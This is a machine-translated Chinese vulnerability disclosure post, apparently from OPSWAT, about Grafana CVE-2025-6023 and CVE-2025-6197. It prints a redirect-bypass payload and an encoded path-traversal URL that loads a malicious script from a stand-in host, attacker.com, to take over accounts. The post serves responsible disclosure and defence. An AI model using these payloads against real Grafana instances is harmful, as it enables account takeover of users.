人工智能驱动的网络攻击:如何检测、预防和抵御智能威胁

立即阅读
我们利用人工智能进行网站翻译,虽然我们力求准确,但不一定总是 100%精确。感谢您的理解。

Grafana CVE-2025-6023:第 515 单元发现可导致全面账户接管的不完整修复

OPSWAT
分享此贴

Grafana 是一个领先的数据可视化、分析和监控开源平台,允许用户通过聚合多个来源的数据来构建交互式仪表盘。Grafana 在 GitHub 上拥有 68,000 多颗星,通过 Docker Hub 和其他资源库下载了数百万次,已成为各行业现代监控堆栈的重要组成部分。

Grafana 在基础设施监控中的广泛应用和关键作用使其成为威胁行为者的首要目标。确保其安全对于保护企业监控环境的完整性和可用性至关重要。

在OPSWAT,我们通过研究和负责任地披露 Grafana 等广泛使用的平台中的漏洞,积极为安全社区做出贡献。2021 年,来自OPSWAT Unit 515的成员TheBlackTurtle 发现并负责任地披露了 CVE-2021-39226 这一关键漏洞

除了这些贡献之外,OPSWAT 还通过实际培训计划培养下一代网络安全人才。其中一项计划是OPSWAT 关键基础设施网络安全研究生奖学金计划,该计划为学生提供识别和分析真实世界安全威胁的实践经验。作为该计划的一部分,我们的一名研究员在独立研究项目中发现了 Grafana 中的一个新的关键漏洞CVE-2025-6023

OPSWAT 研究金计划和重大漏洞发现

OPSWAT 关键基础设施网络安全研究生奖学金计划设在越南,为研究生提供保护关键基础设施安全的实践经验。研究员与OPSWAT 网络安全专家积极合作,共同应对恶意软件检测、文件安全和威胁防范方面的现实挑战。

作为这项严格计划的一部分,参与者在OPSWAT 专家的指导下系统地研究、复制和分析各种软件产品、库和操作系统中的已知漏洞 (CVE)。我们的杰出研究员之一Hoa X. Nguyen 选择 Grafana 作为其主要研究项目的重点。

2025 年 6 月,在对 CVE-2025-4123 的深入审查和对 Grafana 源代码的深入分析过程中,Hoa X. Nguyen在该平台中发现了一个之前未知的漏洞。该问题涉及将开放重定向漏洞与客户端路径遍历(CSPT)漏洞连锁,最终导致跨站脚本攻击(XSS),并通过 Grafana 中的不同端点接管全部账户。

在与515 小组密切合作的过程中,我们不仅发现了一个漏洞链,而且还发现了两个独立的漏洞链,每个漏洞链都可能导致账户全面泄露。

OPSWAT 继续做出积极贡献,负责任地向 Grafana 报告了这些漏洞。这些问题很快得到了确认,并在随后的版本中发布了补丁。这些漏洞后来被指定为 CVE-2025-6023 和 CVE-2025-6197,并被公开列入国家漏洞数据库 (NVD)。

CVE-2025-6023 和 CVE-2025-6197 时间轴

  • 2025 年 6 月 11 日:Hoa X. Nguyen发现 Grafana 最新版本中存在漏洞,并向 Grafana 提交了一份安全报告。
  • 2025 年 6 月 11 日:经过讨论,Grafana 确认了该漏洞,并将 CVE-2025-6023 指定为高度严重。
  • 2025 年 6 月 17 日:515 小组的Dat Phung与 Hoa X. Nguyen 密切合作,发现了另一个利用该漏洞的攻击链。
  • 2025 年 6 月 17 日:Grafana 确认了第二个漏洞,并将 CVE-2025-6197 的严重程度定为中等。
  • 2025 年 7 月 17 日Grafana 发布了 12.0.2+security-01、11.6.3+security-01、11.5.6+security-01、11.4.6+security-01 和 11.3.8+security-01,引入了可有效解决这些漏洞的增强补丁。
  • 2025 年 7 月 18 日:国家漏洞数据库(NVD)正式披露了 CVE-2025-6023 和 CVE-2025-6197。

不完整补丁和 CVE-2025-6023 的技术分析

2025 年 5 月,Alvaro Balada 披露了 Grafana 中的高严重性漏洞 CVE-2025-4123。该漏洞将客户端路径遍历与开放式重定向相结合,允许攻击者交付恶意前端插件,在 Grafana 的可信上下文中执行任意 JavaScript - 从而完全接管账户。在启用匿名访问的情况下,无需进行身份验证。此外,如果安装了Grafana Image Renderer 插件,漏洞利用就可能升级到SSRF,从而暴露内部服务或云元数据。

Grafana 在2025 年 5 月通过安全更新解决了这一问题,在12.0.0+security01、11.6.1+security01 和其他 10.x-11.x 分支版本中引入了修补程序。修复措施包括内容安全策略 (CSP)增强和更严格的重定向消毒。

作为OPSWAT 关键基础设施网络安全研究生奖学金计划的一部分,Hoa X. Nguyen 对 CVE-2025-4123 进行了全面分析。他的研究包括逆向设计漏洞利用流程和评估所提供补丁的有效性。在调查过程中,Hoa 观察到,虽然该漏洞从根本上说是开放重定向和客户端路径遍历的组合,但 CVE-2025-4123 的补丁仅通过在提交{ff20b06} 中引入的数据消毒检查解决了staticHandler 中的开放重定向问题。

然而,这种部分缓解措施并未解决核心攻击载体的问题。潜在的风险依然存在:如果攻击者能找到一个易受开放重定向攻击的替代端点,那么即使在打完补丁后,相同的漏洞利用链依然存在,并可用于执行全面账户接管。考虑到这一假设,Hoa 对 Grafana 代码库进行了更深入的源代码审查。通过这项工作,他成功发现了另一个易受攻击的端点:/user/auth-tokens/rotate

该端点用于重新生成已过期的身份验证令牌。查询参数redirectTo用于在令牌成功更新后将用户导航到目标页面。

在典型实施情况下,重定向 URL 是由Cfg.AppSubURL配置值与用户提供的redirectTo参数连接而成的。但是,在 Grafana 的默认配置中,AppSubURL是未定义的。因此,应用程序在形成重定向路径时只能依赖redirectTo的原始值。

Therefore, when an authenticated user accesses the /user/auth-tokens/rotate?redirectTo=<value> endpoint, the server responds with a 302 Redirect and includes a Location: <value> header.

对于这种重定向机制,Grafana 尝试通过一个名为ValidateRedirectTo 的验证函数来降低与用户提供的输入相关的安全风险,该函数旨在通过禁止路径开头的双斜线来阻止不安全的重定向目标(例如以//example.com开头的重定向目标):

不过,正如Alvaro Balada 的原创研究中演示的那样,可以使用正斜线后接反斜线(例如/\example.com)绕过该功能,现代浏览器对该功能的解释与//example.com 类似。因此,假设用户已通过身份验证,就可以使用以下有效载荷实现开放式重定向:

/user/auth-tokens/rotate?redirectTo=/\example.com

Hoa X. Nguyen 的这一发现,以及对CVE-2025-4123的不完全修复,表明完全接管 Grafana 账户仍然是可能的。

发现该旁路后,OPSWAT 立即向 Grafana 开发团队报告了该问题。作为回应,Grafana 已通过内部讨论确定之前的缓解措施不完整,并计划在我们报告之前在即将发布的版本中解决该问题。因此,我们的报告被接受,并为已发现的开放重定向漏洞分配了一个新的 CVE,严重程度中等

CVE-2025-6023:可实现全面账户接管的新漏洞链

CVE-2025-4123 最初强调了 Grafana 前端插件应用程序中的客户端路径遍历 (CSPT) 漏洞。在最初的报告中,Hoa X. Nguyen 将已知的 CSPT 问题与新发现的开放式重定向漏洞相结合,构建了一个有效的漏洞利用链。尽管该漏洞显示了严重的影响,但由于 Grafana 在 CSPT 暴露之前已经在内部承认了补丁的不完整性,因此该漏洞仅被定为中等严重性。

这促使我们深入调查 Grafana 代码库中是否存在其他 CSPT 漏洞,如果这些漏洞与新发现的开放重定向漏洞相结合,就能形成完全独立的漏洞利用链。如果在不同的端点上发现了这样的 CSPT 漏洞,就有理由赋予它与 CVE-2025-4123 相同的高严重性级别。

发现新的脆弱Endpoint

在这一假设的推动下,Hoa 对 Grafana 的源代码进行了深入审查。在分析过程中,他发现了一个额外的易受攻击端点,该端点允许动态检索和执行任意来源的脚本,而无需适当的输入验证或消毒。这种不安全行为与 Grafana 的仪表板脚本功能有关,特别是通过以下路径进行管理: 

/dashboard/:type/:slug 

负责处理仪表板脚本的中间件会处理该路由。具体来说,:slug参数被用于动态加载和执行脚本(未进行适当的消毒),从而允许攻击者制作恶意 URL,并可能重新创建与 CVE-2025-4123 类似的漏洞利用链。 

仪表板脚本机制分析

Grafana 的仪表盘脚本机制利用DashboardPageProxy组件来处理与路由/dashboard/:type/:slug 相对应的请求:

图 1.仪表板脚本机制

DashboardPageProxy 中,执行流程如下:

图 2.仪表板页面代理流程

DashboardPageProxy返回的结果来自stateManager.fetchDashboard()方法的执行,该方法接受从 URL 路径中提取的uidtypeslug参数。为了分析该响应是如何构建的,Hoa X.Nguyen 检查了stateManager对象及其fetchDashboard()方法中的逻辑。stateManager通过getDashboardScenePageStateManager()函数实例化,该函数在以下文件中定义:

/public/app/features/dashboard-scene/pages/DashboardScenePageStateManager.ts

图 3. getDashboardScenePageStateManager

如图 2 所示,状态管理器是通过调用getDashboardScenePageStateManager()函数初始化的,不带任何参数,因此可以断定返回的对象是UnifiedDashboardScenePageStateManager类的实例。

因此,为了理解fetchDashboard() 方法的行为,他开始分析UnifiedDashboardScenePageStateManager类中的实现:

图 4.UnifiedDashboardScenePageStateManager 类

UnifiedDashboardScenePageStateManager类中,fetchDashboard() 方法首先调用withVersionHandling()函数。该函数负责确定并返回activeManager实例。一旦构建了activeManager ,就会在该实例上调用相应的fetchDashboard()方法,并传递相关的选项参数。

activeManager实例是DashboardScenePageStateManagerDashboardScenePageStateManagerV2对象。这两个类都实现了类似的获取仪表盘数据的逻辑。以下代码摘自DashboardScenePageStateManager类:

DashboardScenePageStateManager类的fetchDashboard ()方法中,一个开关语句用于根据路由类型确定适当的处理逻辑。在默认情况下,该方法会调用

dashboardLoaderSrv.loadDashboard(type, slug, uid, query)

该调用会启动加载请求的仪表盘的过程。loadDashboard()函数的参考实现可在以下文件中找到:

/public/app/features/dashboard/services/DashboardLoad

loadDashboard() 函数中,会执行若干条件检查,以确定适当的处理流程。在类型设置为 "脚本 "且存在标签的特定情况下,函数会调用:

this.loadScriptedDashboard(slug)

在这里,slug(直接来自用户输入)被作为参数传递给loadScriptedDashboard() 方法。为了评估该调用的执行流程和可能引入的漏洞,Hoa 继续分析了DashboardLoaderSrvBase类中loadScriptedDashboard ()的实现:

loadScriptedDashboard() 方法中,slug 参数(如图 2 所示)被视为文件名(字符串),并用于构建 url变量。但是,该参数没有经过正确的消毒处理。该实现应用正则表达式将所有点(.)字符替换为正斜线(/),但紧跟"js"的字符除外。这种部分过滤未能正确地对输入进行消毒,因此很容易受到路径操纵和遍历攻击。

构建 URL 后,脚本会调用getBackendSrv().get(url),尝试加载指定的仪表盘然后使用this.executeScript(code) 执行 检索到的脚本

通过分析,Hoa X. Nguyen 最终在最新发布的 Grafana 中发现了一个新的客户端路径遍历 (CSPT) 漏洞。由于缺乏输入消毒或验证,攻击者可以操纵slug制作 URL,加载并执行来自外部的恶意脚本--通过仪表板脚本加载复制之前在 CVE-2025-4123 中发现的核心问题。

如果与新发现的开放重定向漏洞结合使用,这个问题就能形成一个完整的漏洞利用链,实现完全账户接管。演示此漏洞的有效载荷示例如下:

/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5c<attacker-site><encoded_path>

例如

/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5cattacker.com%2fpath%2fto%2fmalicious.js

恶意.js文件可被伪造,将受害者的电子邮件地址和用户名更改为攻击者控制的地址和用户名。这样,攻击者就可以向自己的电子邮件地址启动密码重置程序,最终完全接管账户:

CVE-2025-6023 概念验证

本视频展示了 CVE-2025-6023 的实际影响,演示了由OPSWAT 的 Hoa X. Nguyen 发现的影响 Grafana 用户的完整账户接管场景:

缓解和指导

为减少上述漏洞,请确保您的系统已更新至 Grafana 的最新版本。

使用 SBOM 引擎的MetaDefender Core 可以检测到此漏洞

OPSWAT MetaDefender Core配备了先进的SBOMSoftware 物料清单)功能,使企业能够采取积极主动的方法来应对安全风险。通过扫描软件应用程序及其依赖关系,MetaDefender Core 可识别所列组件中的已知漏洞,如 CVE-2025-6023 和 CVE-2025-6197。这样,开发和安全团队就能确定修补工作的优先次序,在潜在的安全风险被恶意行为者利用之前将其降低。

下面是MetaDefender Core 通过 SBOM 检测到的 CVE-2025-6023 和 CVE-2025-6197 的截图:

此外,这些 CVE 还可以通过 MetaDefender 软件 Supply Chain利用MetaDefender Core 和 SBOM 来识别这些漏洞。

标签

通过OPSWAT 了解最新信息!

立即注册,即可收到公司的最新动态、 故事、活动信息等。